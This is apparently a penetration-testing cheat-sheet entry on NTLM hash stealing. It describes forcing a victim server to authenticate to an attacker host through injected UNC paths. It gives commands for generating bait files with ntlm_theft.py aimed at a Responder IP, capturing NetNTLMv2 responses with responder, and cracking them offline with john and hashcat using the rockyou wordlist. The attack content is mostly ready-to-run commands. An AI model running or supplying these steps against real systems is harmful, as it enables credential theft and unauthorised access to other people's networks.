NTLM Hash Stealing

The trick is to force victim server to auth attempt with attacker host. Check out places to steal NT hash. In general, wherever an UNC Path can be injected it's possible to have NTLM hash stealing vulnerability.

The ntlm_theft.py script is used to generate multiple files to steal NTLM response. These files can be uploaded wherever it's possible to execute them (e.g. an SMB share).

# Generate all files
python ntlm_theft.py -s $responder_ip -f $filename -g all
# Upload file and execute it from the victim machine
 
# Grab all NTLM responses
responder -I $net_interface

The captured NT hashes can then be cracked offline. However, these are not the hashes that can be used in a Pass-The-Hash type of attack.

NetNTLMv2 hash cracking:

# Quick
john -w /usr/share/wordlists/rockyou.txt $hash
 
# Common variations
hashcat -m 5600 $hash /usr/share/wordlists/rockyou.txt --force --rules /usr/share/hashcat/rules/best64.rule